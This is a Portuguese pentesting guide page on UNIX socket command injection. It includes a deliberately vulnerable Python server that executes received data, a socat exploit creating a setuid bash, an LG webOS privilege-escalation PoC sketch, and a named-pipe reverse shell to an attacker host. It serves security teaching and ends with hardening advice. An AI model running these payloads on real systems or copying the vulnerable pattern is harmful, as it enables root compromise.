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Socket Command Injection
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Exemplo de socket binding com Python
No exemplo a seguir um unix socket é criado (/tmp/socket_test.s
) e tudo que for recebido será executado por os.system
. Sei que você não vai encontrar isso na natureza, mas o objetivo deste exemplo é ver como um código que usa unix sockets se parece, e como gerenciar a entrada no pior caso possível.
import socket
import os, os.path
import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
Execute o código usando python: python s.py
e verifique como o socket está ouvindo:
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
Exploit
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
Estudo de caso: escalada acionada por signal em UNIX socket de propriedade do root (LG webOS)
Alguns daemons privilegiados expõem um UNIX socket de propriedade do root que aceita entrada não confiável e vincula ações privilegiadas a thread-IDs e signals. Se o protocolo permitir que um cliente não privilegiado influencie qual native thread é alvo, você pode conseguir acionar um caminho de código privilegiado e escalar.
Observed pattern:
- Connect to a root-owned socket (e.g., /tmp/remotelogger).
- Create a thread and obtain its native thread id (TID).
- Send the TID (packed) plus padding as a request; receive an acknowledgement.
- Deliver a specific signal to that TID to trigger the privileged behaviour.
Minimal PoC sketch:
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
Para transformar isto em um root shell, pode ser usado um padrão simples de named-pipe + nc:
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
Notas:
- Essa classe de bugs surge de confiar em valores derivados do estado de cliente não privilegiado (TIDs) e vinculá-los a manipuladores de sinal privilegiados ou à lógica privilegiada.
- Endureça aplicando verificação de credenciais no socket, validando formatos de mensagens e desacoplando operações privilegiadas de identificadores de thread fornecidos externamente.
Referências
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